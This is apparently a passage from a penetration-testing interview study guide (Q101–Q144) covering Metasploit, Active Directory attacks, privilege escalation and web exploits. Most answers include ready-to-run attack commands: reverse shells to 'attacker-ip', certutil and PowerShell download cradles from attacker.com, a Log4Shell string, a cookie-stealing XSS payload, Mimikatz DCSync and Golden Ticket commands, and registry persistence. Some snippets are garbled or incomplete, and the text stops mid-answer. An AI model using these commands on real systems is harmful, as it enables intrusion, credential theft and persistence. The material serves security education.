A healthcare organisation's vulnerability scan finds 847 vulnerabilities. A threat-informed approach filters through CISA's Known Exploited Vulnerabilities (KEV) catalogue – identifying 12 vulnerabilities being actively exploited by ransomware groups targeting healthcare. These 12 are elevated to Priority 1 (24-hour remediation) regardless of CVSS score, while the remaining 835 follow standard risk-based prioritisation.

Section 04: Attacks & Exploits | Questions 116–175

Q101.

What is Metasploit Framework and its key components?

A:

Metasploit Framework (MSF) is the world's most widely used penetration testing platform. Key components: Exploits (vulnerability-specific attack modules), Payloads (code executed on target – Meterpreter, reverse shells), Auxiliaries (scanning, fuzzing, enumeration), Post-exploitation modules (privilege escalation, persistence, pivoting), Encoders (obfuscate payloads), and msfvenom (standalone payload generator).

Example:

Metasploit workflow: `'msfconsole' ▯ 'search ms17_010' ▯ 'use exploit/windows/smb/ms17_010_eternalblue' ▯ 'set RHOSTS 10.0.0.5' ▯ 'set PAYLOAD windows/x64/meterpreter/reverse_tcp' ▯ 'set LHOST 10.0.0.100' ▯ 'run'`. Metasploit exploits EternalBlue, delivers Meterpreter payload, and returns an interactive shell with SYSTEM privileges – complete server compromise in under a minute.

Q102.

What is Meterpreter and what can it do?

A:

Meterpreter is an advanced, in-memory payload for Metasploit that provides an interactive shell with powerful capabilities: file system access (upload/download), process management (migrate into other processes), privilege escalation, screenshot capture, keylogging, webcam access, network pivoting (route through compromised host), credential dumping (hashdump), and persistence mechanisms. It runs entirely in memory – no files written to disk.

Example:

After gaining a Meterpreter shell: `'getsystem' ▯ escalates to SYSTEM. 'hashdump' ▯ dumps all Windows NTLM password hashes (including Administrator:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b). 'run post/windows/gather/credentials/credential_collector' ▯ dumps all stored credentials. 'portfwd add -l 3389 -p 3389 -r 10.0.0.20' ▯ tunnels RDP to an internal server. Full network access achieved.`

Q103.

What is EternalBlue (MS17-010) and why is it significant?

A:

EternalBlue (CVE-2017-0144) is a critical vulnerability in Windows SMBv1 that allows unauthenticated remote code execution with SYSTEM privileges. Originally developed by the NSA and leaked by Shadow Brokers in 2017. It was patched by MS17-010 but remains exploitable on unpatched systems. EternalBlue powered WannaCry and NotPetya – the most destructive cyberattacks in history.

Example:

EternalBlue exploitation with Metasploit against an unpatched Windows 7 system:

module: `exploit/windows/smb/ms17_010_eternalblue`

Result: SYSTEM shell obtained within 30 seconds without any credentials. This single vulnerability allows a pen tester to compromise any unpatched Windows system on the network with zero interaction from the user – no phishing, no credentials required. It demonstrates why patch management is non-negotiable.

Q104.

What is a buffer overflow exploit and how is it crafted?

A:

A buffer overflow exploit involves: 1) Fuzzing to find the crash offset (how many bytes overwrite the return address), 2) Finding the exact EIP offset using pattern_create/pattern_offset, 3) Controlling EIP with an address pointing to the shellcode, 4) Bypassing protections (ASLR, DEP) using ROP chains or JMP ESP techniques, 5) Placing shellcode in the buffer. Tools: Python, pwndbg, pwntools, Immunity Debugger.

Example:

Exploiting a vulnerable custom FTP server: Fuzzing reveals crash at 2000 bytes. Pattern offset finds EIP at offset 1000. JMP ESP found at 0x77E4EBAF (in a DLL without ASLR). Shellcode placed after EIP: 'python3 exploit.py' sends: [1000 'A's] + [JMP ESP address] + [NOP sled] + [reverse shell shellcode] □ attacker receives reverse shell. Complete manual buffer overflow exploitation.

Q105.

What is privilege escalation in Windows and what are common techniques?

A:

Privilege escalation elevates an attacker from a low-privileged user to a higher-privileged account (Administrator or SYSTEM). Common Windows techniques: unquoted service paths (DLL/EXE hijacking), weak service permissions, AlwaysInstallElevated (install MSI as SYSTEM), vulnerable kernel exploits (MS16-032, CVE-2021-34527 PrintNightmare), token impersonation (Potato attacks), and stored credentials.

Example:

A pen tester has a low-privilege shell on Windows. WinPEAS identifies: Service 'VulnService' runs as SYSTEM with an unquoted path: 'C:\Program Files\Vuln App\service.exe'. The tester creates a malicious 'C:\Program Files\Vuln.exe' and restarts the service – Windows executes the malicious file as SYSTEM instead of the legitimate service. Low-priv to SYSTEM via unquoted service path.

Q106.

What is privilege escalation in Linux and what are common techniques?

A:

Common Linux privilege escalation techniques: SUID/SGID binary exploitation (find / -perm -4000), sudo misconfigurations (sudo -l revealing exploitable commands), cron job file permission abuse, kernel exploits (DirtyCOW CVE-2016-5195), PATH variable injection, writable /etc/passwd, NFS no_root_squash misconfigurations, and Docker container escapes. Tools: LinPEAS, LinEnum.

Example:

LinPEAS on a compromised Linux server finds: '/usr/bin/find' has SUID bit set. GTFEBins (gtfobins.github.io) shows SUID find can spawn a shell: 'find . -exec /bin/sh -p \; -quit'. Running this command grants a root shell because 'find' runs with root's SUID permissions and spawns /bin/sh with those permissions. From low-priv user to root in one command.

Q107.

What is pass-the-hash (PtH) attack?

A:

Pass-the-Hash is an attack where the attacker authenticates to services using captured NTLM password hashes without knowing the actual plaintext password. Windows NTLM authentication accepts the hash as proof of identity. The attacker extracts hashes using tools like Mimikatz, then uses them for lateral movement. Defended by: Credential Guard, network segmentation, and disabling NTLM.

Example:

A Meterpreter session on a workstation: 'hashdump' retrieves: 'Administrator:500:aad3...04ee:31d6cfe0d16ae931b73c59d7e0c089c0'. The pen tester uses CrackMapExec: 'cme smb 10.0.0.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0'. CrackMapExec tries the hash against all 254 IPs on the subnet – finds 12 servers where the Administrator hash is valid. Network-wide compromise via one hash.

Q108.

What is Kerberoasting?

A:

Kerberoasting is an attack against Active Directory's Kerberos authentication. Service accounts in AD have Service Principal Names (SPNs). Any authenticated domain user can request a Kerberos service ticket (TGS) encrypted with the service account's NTLM hash. The attacker requests these tickets and cracks them offline to recover the service account password – no privileged access needed.

Example:

Attack flow: 1) 'GetUserSPNs.py corp.local/john:password -outputfile kerberoast.txt' – extracts all Kerberoastable service account ticket hashes. 2) 'hashcat -m 13100 kerberoast.txt rockyou.txt' – cracks tickets offline. Result: svc-sql account cracked – password 'ServicePass2019!'. This service account has local admin rights on all SQL servers. One domain user □ all SQL servers compromised.

Q109.

What is AS-REP Roasting?

A:

AS-REP Roasting targets Active Directory accounts that have 'Do not require Kerberos preauthentication' enabled. These accounts don't require pre-authentication, so an attacker can request an AS-REP message encrypted with the account's NTLM hash without any credentials. The encrypted portion is crackable offline – similar to Kerberoasting but requires no authentication at all.

Example:

Command: 'GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -format hashcat'
For users with pre-auth disabled, returns hashed AS-REP data. 'hashcat -m 18200 asrep_hashes.txt rockyou.txt'
Result: 'john.backup' account (preauthentication disabled) cracked – password 'Backup2022!'. John.backup has read access to all backup shares containing sensitive data. Zero credentials needed to start this attack.

Q110.

What is DCSync attack?

A:

DCSync is a Mimikatz attack that simulates Active Directory domain controller replication — requesting password hashes for any user from a DC without directly logging into it. It requires Replicating Directory Changes permissions (granted to Domain Admins, Administrators, or specifically delegated accounts). If any such account is compromised, all AD password hashes can be extracted.

Example:

After compromising a Domain Admin account: `'mimikatz: lsadump::dcsync /domain:corp.local /user:krbtgt'`
Result: `krbtgt` NTLM hash obtained. With the `krbtgt` hash, the attacker crafts Golden Tickets — forged Kerberos tickets with any username and group membership for any system in the domain. DCSync + Golden Ticket = permanent, stealthy persistence that survives password resets.

Q111.

What is a Golden Ticket attack?

A:

A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) created using the `krbtgt` account's NTLM hash. Since `krbtgt` signs all Kerberos tickets, an attacker with this hash can forge a TGT for ANY user with ANY group membership — including non-existent accounts — granting persistent admin access to every Kerberos-authenticated service in the domain.

Example:

Post-DCSync, attacker has `krbtgt` hash. Mimikatz: `'kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:NTLMhash /id:500 /groups:512'`
This creates a Golden Ticket valid for 10 years for a fake administrator account. Even if all domain passwords are reset, this ticket remains valid until the `krbtgt` password is reset TWICE (a rarely performed, complex operation). Permanent domain persistence achieved.

Q112.

What is Mimikatz and what does it expose?

A:

Mimikatz is a post-exploitation tool that extracts credentials from Windows memory. It can: dump plaintext passwords from LSASS memory (`sekurlsa::logonpasswords`), extract NTLM hashes (`hashdump`), perform Pass-the-Hash (`sekurlsa::pth`), perform Pass-the-Ticket, extract Kerberos tickets, forge Golden/Silver tickets, and dump the NTDS.dit database. Requires SYSTEM or SeDebugPrivilege.

Example:

On a Domain Controller with SYSTEM access: `'mimikatz: privilege::debug' □ 'sekurlsa::logonpasswords'`
Output includes: Domain Admin Jane: Password 'Corp@Admin2023', SYSTEM service account: Password 'SvcP@ss', 12 other recently logged-in users with their plaintext passwords. Mimikatz extracts from LSASS memory — all passwords of users who logged in since last reboot, in cleartext.

Q113.

What is BloodHound and how is it used in AD attacks?

A:

BloodHound is an Active Directory attack path analysis tool that collects AD relationship data using SharpHound (the collector) and visualises attack paths to Domain Admin in a graph database (Neo4j). It reveals: shortest paths to Domain Admin, dangerous ACL misconfiguration, Kerberoastable accounts, and users with excessive privileges — making complex AD attacks straightforward.

Example:

BloodHound analysis reveals: Regular user 'john.doe' □ has GenericWrite on 'svc-monitoring' group □ group has Local Admin on 'FILESERVER01' □ FILESERVER01 is used by Domain Admin 'jane.smith' □ john.doe can compromise the server and capture Jane's credentials when she logs in. This 4-step attack path from a regular user to Domain Admin was discovered in 30 seconds using BloodHound.

Q114.

What is a reverse shell vs a bind shell?

A:

- Bind Shell: The attacker's payload opens a listening port on the compromised machine. The attacker connects FROM their machine TO the victim's open port. Problem: outbound connections from attacker to victim are often blocked by firewalls.
- Reverse Shell: The victim's payload connects BACK to the attacker's listening machine. More firewall-friendly since most environments allow outbound connections from compromised hosts.

Example:

In a DMZ environment: Bind shell on port 4444 □ attacker tries to connect □ firewall blocks inbound connections to the server. Reverse shell: server connects OUT to attacker's IP:4444 □ firewall allows this (outbound connections permitted) □ attacker receives the shell. Command: attacker runs 'nc -lvp 4444', victim executes 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' — reverse shell established.

Q115.

What is a web shell and how is it deployed?

A:

A web shell is a malicious script (PHP, ASP, JSP) uploaded to a web server that provides the attacker with command execution via HTTP requests. It allows file management, command execution, and persistence through the web server. Deployed via: file upload vulnerabilities, code injection, CMS vulnerabilities, or writing to web-accessible directories. Tools: b374k, c99, China Chopper, weeveily.

Example:

A pen tester exploits a file upload vulnerability that accepts .jpg but doesn't validate file content. They upload 'shell.php.jpg' containing ". The server stores it at '/uploads/shell.php.jpg' and executes it as PHP. Visiting 'https://target.com/uploads/shell.php.jpg?cmd=id' returns 'uid=33(www-data)' — remote code execution via a simple one-line web shell.

Q116.

What is command injection and how is it exploited?

A:

Command injection occurs when user-supplied input is passed unsanitised to a shell command. Attackers inject OS commands using shell metacharacters: ; (command separator), | (pipe), && (AND), || (OR), ` (backtick – command substitution), \$() (command substitution). The web server executes both the intended command and the injected one.

Example:

A web app has a ping feature: 'ping -c 1 {user_input}'. Testing with: '127.0.0.1; id' – the server runs 'ping -c 1 127.0.0.1; id' □ returns ping output AND 'uid=33(www-data)'. Escalating: '127.0.0.1; bash -i >&/dev/tcp/attacker/4444 0>&1' □ reverse shell received. The ; separator allowed arbitrary OS command execution – a Critical vulnerability from a simple ping function.

Q117.

What is LFI (Local File Inclusion) and RFI (Remote File Inclusion)?

A:

- LFI (Local File Inclusion): A vulnerability where user input controls which local file a PHP/web application includes. Attackers can read sensitive files (/etc/passwd, configuration files) or include upload-accessible malicious PHP files to achieve RCE.
- RFI (Remote File Inclusion): Includes a file from a remote URL – the attacker hosts a malicious PHP file and includes it, achieving RCE. Requires allow_url_include=On in PHP.

Example:

LFI vulnerability: URL 'https://target.com/page.php?file=about'. Testing: '?file=../../../../etc/passwd' □ /etc/passwd returned! Chaining with log poisoning: inject PHP into Apache access log via User-Agent header, then include the log file via LFI □ RCE. RFI example: '?file=http://attacker.com/shell.php' – attacker's PHP shell is fetched and executed by the target server.

Q118.

What is SSRF (Server-Side Request Forgery) exploitation?

A:

SSRF tricks a server into making HTTP requests to internal or external resources on the attacker's behalf. Exploitation: access internal services not reachable from internet (Redis, Elasticsearch, internal APIs), read cloud metadata (AWS: 169.254.169.254), scan internal networks, access admin interfaces, and in some cases achieve RCE through SSRF-to-Redis or SSRF-to-internal-Jenkins.

Example:

An image URL parameter is vulnerable to SSRF. Attacker sends: 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' □ server returns IAM role name 'ec2-role'. Then 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role' □ returns AWS Access Key, Secret Key, and session token. With cloud credentials, the attacker accesses all AWS resources the EC2 instance has permissions for.

Q119.

What is XXE (XML External Entity) injection?

A:

XXE is a vulnerability affecting applications that parse XML input. By defining an external entity in the XML, attackers can: read local files (/etc/passwd, /etc/shadow, configuration files), perform SSRF to internal services, and in some cases achieve RCE. Requires XML parser with external entity processing enabled.

Example:

Vulnerable XML parser accepts user-supplied XML. Attacker sends:

```
]>
&xxe;
```

The server parses the XML, resolves the external entity by reading /etc/passwd, and returns its contents in the response. File read achieved without any traditional exploit – just valid XML with a malicious entity definition.

Q120.

What is CSRF (Cross-Site Request Forgery)?

A:

CSRF tricks an authenticated user's browser into sending unwanted requests to a web application. Since the browser automatically includes session cookies, the target application processes the forged request as if the legitimate user sent it. CSRF can: change passwords, transfer money, modify account settings, and perform any action the victim can perform while authenticated.

Example:

A banking app lacks CSRF tokens. An attacker creates: [img src='https://bank.com/transfer?to=attacker&amount=10000']. This is placed in an email or on a malicious website. When a logged-in bank customer views this page, their browser automatically sends the transfer request with their valid session cookie. The bank processes it as a legitimate transfer – the attacker receives 10,000 from the victim's account.

Q121.

What is an IDOR (Insecure Direct Object Reference)?

A:

IDOR occurs when an application uses user-controllable values to directly reference internal objects (database records, files, user accounts) without proper authorisation checks. An attacker changes a parameter value (order ID, user ID, file name) to access another user's data. It is the #1 OWASP category (Broken Access Control).

Example:

A user accesses their invoice at 'https://target.com/invoice/10541'. Changing the URL to 'https://target.com/invoice/10540' returns another customer's invoice – their name, address, purchases, and payment details. The application only checks if the user is authenticated, not if they own invoice #10540. Testing 10000-11000 sequentially would expose thousands of customer invoices.

Q122.

What is credential stuffing?

A:

Credential stuffing is an automated attack using large lists of username/password combinations obtained from data breaches. Since many users reuse passwords across sites, attackers test these credentials at scale against other websites. Tools: Hydra, Burp Intruder, Sentry MBA. Defended by: rate limiting, MFA, breach password detection, CAPTCHA.

Example:

An attacker obtains 1 million email/password combos from a 2021 breach (e.g., LinkedIn). They run these against a target bank's login page using a credential stuffing tool that handles multiple IPs (to avoid rate limiting). From 1 million attempts, 3,200 succeed – 0.32% success rate is typical. Each successful login potentially accesses real bank accounts with real money.

Q123.

What is a brute-force attack and what tools are used?

A:

A brute-force attack systematically tries all possible passwords or credential combinations until the correct one is found. Types: pure brute-force (all combinations), dictionary attack (wordlist), hybrid (wordlist + rules). Tools: Hydra (network services), Hashcat (offline hash cracking), John the Ripper (offline cracking), Medusa, CrackMapExec. Effective against short/simple passwords.

Example:

Hydra brute-force against SSH: 'hydra -L users.txt -P rockyou.txt ssh://192.168.1.10'
Tries username/password combinations from lists against SSH on port 22. After 47 minutes (limited to 10 attempts/second to avoid lockout), finds: 'john:Password123' and 'admin:admin'. Both accounts have SSH access – one is a system administrator. Wordlist attack succeeds where pure brute-force would take years.

Q124.

What is Hashcat and how does it crack password hashes?

A:

Hashcat is the world's fastest GPU-accelerated password cracker. Modes: Dictionary attack (-a 0), Combination attack (-a 1), Brute-force (-a 3), Rule-based (-a 0 with -r), and hybrid attacks. Supports 300+ hash types (MD5, SHA1, NTLM, bcrypt, WPA2). GPU acceleration makes it exponentially faster than CPU – an RTX 3090 cracks 100 billion MD5 hashes per second.

Example:

Cracking NTLM hashes from a Windows dump:
'hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r best64.rule'
-m 1000 = NTLM hash type, rockyou.txt = 14M word wordlist, best64.rule = applies 64 password transformation rules (add numbers, capitalise, leetspeak).
Result: 14/20 hashes cracked in 4 minutes including 'Administrator:Corp@2023' and 'svc-backup:Backup123!'. Rules turn rockyou into 800M+ effective candidates.

Q125.

What is Responder and how is it used in internal network attacks?

A:

Responder is a tool that poisons multicast name resolution protocols (LLMNR, NBT-NS, mDNS) on a local network segment. When a Windows host fails to resolve a hostname via DNS, it broadcasts the query on the LAN using LLMNR/NBT-NS. Responder answers these broadcasts, tricking the host into authenticating to the attacker — capturing NetNTLMv2 hashes for offline cracking.

Example:

A pen tester runs 'responder -I eth0 -rdwv' on the internal network. A Windows user mistype a network path: `\\fileserver\docs` (typo — doesn't exist). Windows broadcasts LLMNR query. Responder answers: 'That's me!'. Windows authenticates □ Responder captures NetNTLMv2 hash for 'jane.doe'. Cracking: 'hashcat -m 5600 netntlm.txt rockyou.txt' □ reveals 'Summer2023!' password in 3 minutes.

Q126.

What is DNS poisoning exploitation in a pen test?

A:

DNS cache poisoning in a pen test involves sending forged DNS responses to a resolver's cache — redirecting queries for legitimate domains to attacker-controlled IPs. This enables: MitM attacks (intercept HTTPS traffic via SSLstrip), phishing (redirect users to fake sites), and malware distribution (redirect update servers to attacker). Modern DNSSEC validation prevents this but many resolvers remain unprotected.

Example:

On an internal network, the pen tester uses dnsspoof to respond to DNS queries before the legitimate server: 'dnsspoof -i eth0 -f hosts.txt'. hosts.txt contains: '10.0.0.200 updates.software.com'. When Windows workstations query 'updates.software.com', they get the attacker's IP. The attacker serves a malicious 'update' package — achieving code execution on workstations without exploiting any technical vulnerability.

Q127.

What is a man-in-the-middle (MitM) attack implementation?

A:

A MitM attack intercepts and potentially modifies communications between two parties. Techniques: ARP poisoning (tell victim the gateway is the attacker's MAC, and gateway the victim's MAC is the attacker's), DNS poisoning, SSL stripping (downgrade HTTPS to HTTP), evil twin Wi-Fi, and BGP hijacking. Tools: arpspoof, ettercap, Bettercap, Responder.

Example:

Bettercap MitM on a LAN: 'net.probe on' (discover hosts) □ 'set arp.spoof.targets 192.168.1.50' □ 'arp.spoof on' □ 'net.sniff on'. The victim (192.168.1.50) sends all traffic through the attacker's machine. Bettercap captures: HTTP login to internal HR portal (plaintext credentials), cookie for authenticated session, and downloads. HTTPS traffic triggers certificate warnings unless SSL stripping is used.

Q128.

What is ARP poisoning and how is it executed?

A:

ARP poisoning sends gratuitous (unsolicited) ARP replies to hosts on a LAN, telling them that the attacker's MAC address corresponds to the gateway's IP. The victim updates its ARP cache and sends all traffic to the attacker. The attacker forwards traffic to the real gateway (staying transparent) while capturing and potentially modifying all communications.

Example:

Command: `'arp spoof -i eth0 -t 192.168.1.50 192.168.1.1'` (tell victim 192.168.1.50 that the gateway 192.168.1.1 is at attacker's MAC) AND `'arp spoof -i eth0 -t 192.168.1.1 192.168.1.50'` (tell gateway that the victim is at attacker's MAC). Now ALL traffic between victim and gateway flows through the attacker. Wireshark captures everything: emails, credentials, file transfers.

Q129.

What is a DLL injection attack?

A:

DLL injection is a technique for running malicious code within the address space of another process by forcing it to load a malicious DLL (Dynamic Link Library). Methods: CreateRemoteThread (most common), SetWindowsHookEx (hooks), AppInit_DLLs (registry), Reflective DLL injection (no disk file — loads from memory). Used for privilege escalation, persistence, and AV evasion.

Example:

A pen tester has code execution on a Windows machine. Using process injection: 1) Find target process PID (explorer.exe, PID 1234), 2) OpenProcess with required rights, 3) VirtualAllocEx to allocate memory in target process, 4) WriteProcessMemory to write DLL path, 5) CreateRemoteThread to execute LoadLibrary with DLL path. Result: malicious DLL running inside explorer.exe — appears as legitimate Windows process to AV.

Q130.

What is a Living Off the Land (LOtL) attack?

A:

Living Off the Land attacks use legitimate system tools (already present on the target) to perform malicious activities rather than deploying external malware. Common LOtL tools: PowerShell (remote execution, data exfiltration), WMI (persistence, lateral movement), certutil (download files, encode data), bitsadmin (file download), regsvr32 (bypassing AppLocker), and rundll32 (execute arbitrary DLLs).

Example:

A pen tester with basic shell access uses only built-in Windows tools: `'certutil -urlcache -f http://attacker.com/payload.exe payload.exe'` (download tool using Windows Certificate utility), `'powershell -enc BASE64'` (execute encoded powershell — bypasses basic logging), `'wmic /node:10.0.0.5 process call create calc.exe'` (remote execution via WMI). No external malware deployed — all built-in Windows features.

Q131.

What is PowerShell for penetration testing?

A:

PowerShell is the most powerful attack tool on Windows because it is trusted, built-in, can run in memory, and has access to .NET and WMI. Key uses: PowerSploit (collection of PowerShell attack modules), Empire (C2 framework), PowerView (AD enumeration), PowerUpSQL (SQL Server attacks), Invoke-Mimikatz (load Mimikatz in memory), and download cradles (execute scripts from the internet in memory).

Example:

PowerShell attack chain: 'powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-PowerShellTcp.ps1')"' – downloads and executes PowerShell reverse shell script entirely in memory (no files written). 'Get-NetUser | Where-Object {\$_.admincount -eq 1}' (PowerView) – enumerates privileged AD users. All operations use legitimate Windows PowerShell – difficult to distinguish from normal admin activity.

Q132.

What is a persistence mechanism in post-exploitation?

A:

Persistence mechanisms ensure an attacker maintains access to a compromised system even after reboots, password changes, or user logouts. Windows techniques: Registry run keys, scheduled tasks, services, startup folder, DLL hijacking, WMI subscriptions, and boot sector manipulation. Linux techniques: cron jobs, SSH authorized_keys, .bashrc modification, and systemd services.

Example:

After compromising a Windows server: 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Windows\Temp\payload.exe' – adds payload to registry Run key, executes on every user login. Also: 'schtasks /create /tn "WindowsUpdate" /tr C:\Windows\Temp\payload.exe /sc onstart /ru SYSTEM' – scheduled task runs at system start as SYSTEM. Two persistence mechanisms, both appearing legitimate.

Q133.

What is pivoting and tunnelling in pen testing?

A:

Pivoting uses a compromised host as a relay to reach other network segments not directly accessible to the attacker. Techniques: port forwarding (SSH -L, -R, -D, socat), proxy chaining (proxychains with SOCKS5 proxy through Meterpreter), and VPN tunnels. This allows the attacker to attack internal systems from outside or move between network segments.

Example:

A pen tester compromises a DMZ web server (accessible from internet) via a Meterpreter shell. The DMZ server can reach the internal network (192.168.0.0/24). Meterpreter: 'route add 192.168.0.0/24 SESSION_ID'. ProxyChains is configured with SOCKS proxy through Meterpreter. 'proxychains nmap 192.168.0.0/24' now scans the internal network through the compromised DMZ server – reaching systems completely isolated from the internet.

Q134.

What is BlueKeep (CVE-2019-0708)?

A:

BlueKeep is a critical vulnerability in Windows Remote Desktop Services (RDP) — pre-authentication, no user interaction required — allowing remote code execution with SYSTEM privileges. Affects Windows XP, Vista, 7, Server 2003, Server 2008 (all end-of-life or requiring patching). It is 'wormable' — can self-propagate like WannaCry. Patched by Microsoft in May 2019 (including unsupported XP).

Example:

A Nessus scan identifies a Windows 7 endpoint with RDP (port 3389) exposed. The plugin confirms BlueKeep vulnerability. Using Metasploit module 'exploit/windows/rdp/cve_2019_0708_bluekeep_rce', the pen tester exploits the system remotely — SYSTEM shell obtained without any authentication or user interaction. One click from the internet □ complete system compromise via RDP alone.

Q135.

What is Log4Shell (CVE-2021-44228) and how is it exploited?

A:

Log4Shell is a critical vulnerability (CVSS 10.0) in the Apache Log4j Java logging library. Log4j processes special JNDI lookup strings (`${jndi:ldap://attacker.com/exploit}`). When a vulnerable application logs user-controlled input containing this string, it connects to the attacker's LDAP server and loads a malicious Java class — resulting in Remote Code Execution. Affects thousands of Java applications.

Example:

Attack: The attacker starts a malicious JNDI/LDAP server ('`marshalsec -Xyml ldap://0.0.0.0:1389/exploit`'). They send a request with User-Agent: '`${jndi:ldap://attacker.com:1389/exploit}`'. The vulnerable application logs the User-Agent — Log4j processes the `${jndi:}` string, connects to the attacker's LDAP server, downloads and executes the malicious Java class. Result: reverse shell from the application server.

Q136.

What is PrintNightmare (CVE-2021-34527)?

A:

PrintNightmare is a critical vulnerability in the Windows Print Spooler service. It allows: local privilege escalation (LPE) — any authenticated user can escalate to SYSTEM, and Remote Code Execution (RCE) — unauthenticated attackers can achieve RCE on systems with Print Spooler exposed. Patches were released in July 2021 but complete mitigation requires disabling Print Spooler on systems that don't need it.

Example:

A pen tester has a standard domain user account. PrintNightmare LPE: '`python3 CVE-2021-34527.py corp.local/john:password@192.168.1.10 \\\"\\\"\\attacker\\share\\evil.dll\\\"`'. The Print Spooler service loads the attacker's DLL as SYSTEM, executing a reverse shell. Standard domain user □ SYSTEM in 10 seconds — no admin privileges required. The vulnerability affects every Windows version with an unpatched Print Spooler.

Q137.

What is SQL injection time-based blind attack?

A:

In a time-based blind SQL injection, the application doesn't return query results or error messages, but executes the injected SQL. The attacker uses database-specific time delay functions (SLEEP() in MySQL, WAITFOR DELAY in MSSQL, pg_sleep() in PostgreSQL) to infer true/false conditions based on response time. If the page delays, the condition is true; if it responds immediately, it's false.

Example:

URL: 'https://target.com/profile?id=1'. Testing blind injection: 'id=1 AND SLEEP(5)--'. If page takes 5+ seconds to respond □ SQL injection confirmed! Extracting database name letter by letter: 'id=1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--' — if 5-second delay □ first char is 'a'. Automate with SQLmap: 'sqlmap -u target.com/profile?id=1 --technique=T --dbs' extracts all database names through timing.

Section 05: Web Application Attacks | Questions 176–220

Q138.

What are the OWASP Top 10 2021 vulnerabilities?

A:

OWASP Top 10 (2021):

1. A01 — Broken Access Control
2. A02 — Cryptographic Failures
3. A03 — Injection (SQLi, XSS, Command)
4. A04 — Insecure Design
5. A05 — Security Misconfiguration
6. A06 — Vulnerable and Outdated Components
7. A07 — Identification and Authentication Failures
8. A08 — Software and Data Integrity Failures
9. A09 — Security Logging and Monitoring Failures
10. A10 — Server-Side Request Forgery

Example:

A pen test of an e-commerce site finds all Top 10: A01 (IDOR on order IDs), A02 (MD5 password hashing), A03 (SQL injection in search), A04 (no rate limiting on payment), A05 (Apache version exposed), A06 (jQuery 1.x with known XSS), A07 (no account lockout), A08 (no code signing on updates), A09 (no logging of failed logins), A10 (SSRF in image import). Complete OWASP Top 10 found in one engagement.

Q139.

What is Stored vs Reflected vs DOM-based XSS?

A:

- **Stored XSS:** Malicious script is stored in the server's database and served to all users who view the affected page. Most dangerous — affects multiple victims.
- **Reflected XSS:** Script is reflected from the server in the response to a crafted request. Victim must click a malicious link. Affects one victim at a time.
- **DOM-based XSS:** Script executes entirely client-side when JavaScript reads attacker-controlled data from the DOM (URL fragment, localStorage) without server involvement.

Example:

Stored XSS: Attacker posts comment 'document.location="http://attacker.com/steal?c="+document.cookie'. Every visitor who views the comment has their session cookie stolen. Reflected XSS: Link 'https://target.com/search?q=alert(1)' — only users clicking this link are affected. DOM XSS: URL 'https://target.com/#[img src=x onerror=alert(1)]' — JavaScript reads the fragment and injects it into the DOM.

Q140.

What is authentication bypass and common techniques?

A:

Authentication bypass exploits weaknesses in login mechanisms to gain access without valid credentials. Techniques: SQL injection in login form, default credentials, parameter tampering (changing 'isAdmin=false' to 'isAdmin=true'), forced browsing (directly accessing authenticated URLs without logging in), cookie manipulation, JWT token forgery, and password reset flow abuse.

Example:

Testing a login: Username field accepts 'admin'--' (SQL injection). Backend query becomes: 'SELECT * FROM users WHERE username='admin'--' AND password='anything'. The -- comments out the password check. Login succeeds without a password. Parameter tampering: Login response sets cookie 'role=user'. Changing to 'role=admin' and refreshing grants admin access – no authentication required.

Q141.

What is JWT (JSON Web Token) exploitation?

A:

JWT tokens are used for web application authentication. Common vulnerabilities: None algorithm attack (change signature algorithm to 'none' – no signature validation), weak secret cracking (HS256 with predictable secrets), algorithm confusion (RS256 to HS256 – sign token with server's public key), and kid injection (inject path traversal or SQL in the 'kid' header field).

Example:

JWT: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.SIGNATURE'
None algorithm attack: Decode header □ change 'alg': 'HS256' to 'alg': 'none', decode payload □ change 'role': 'user' to 'role': 'admin', remove signature. Send modified token. If the server accepts it □ authentication bypass! The application fails to validate that 'none' algorithm should be rejected.

Q142.

What is path traversal and how is it exploited?

A:

Path traversal (directory traversal) allows attackers to access files outside the web root directory by manipulating file path parameters with traversal sequences (../, ../../). Targets: application configuration files, password files, SSH keys, source code, and log files. WAF bypass techniques: URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), null byte injection (%00).

Example:

Vulnerable URL: 'https://target.com/download?file=report.pdf'
Exploiting: '?file=../../../../etc/passwd' □ /etc/passwd contents returned.
WAF bypass: '?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd' (URL-encoded).
More aggressive: '?file=../../../../etc/passwd' (double-dot bypass).
On Windows: '?file=../../../../Windows/system32/drivers/etc/hosts' – reading Windows hosts file using backslash traversal.

Q143.

What is file upload vulnerability exploitation?

A:

File upload vulnerabilities occur when a web application allows upload without properly validating file type and content. Bypass techniques: changing file extension (.php to .php5, .phtml, .phar), changing MIME type in request (Content-Type: image/jpeg for a PHP file), embedding PHP in image metadata (EXIF data), null byte injection (file.php%00.jpg), and double extension (file.jpg.php).

Example:

Upload form accepts only images (checks extension). Bypass: Rename 'shell.php' to 'shell.php.jpg' – extension check passes. Upload with Content-Type: image/jpeg. Server stores as 'shell.php.jpg' and configures to execute PHP – remote code execution via the 'image'. More advanced: embed PHP in JPEG's EXIF comment field, upload legitimate .jpg, exploit LFI to include it – RCE through a seemingly valid image file.

Q144.

What is HTTP request smuggling?

A:

HTTP request smuggling exploits discrepancies in how front-end (load balancer/proxy) and back-end servers parse HTTP request boundaries (Content-Length vs Transfer-Encoding headers). Attackers craft ambiguous requests that the front-end interprets one way and the back-end another – 'smuggling' requests to the back-end. Enables: cache poisoning, authentication bypass, and access to internal-only endpoints.

Example:

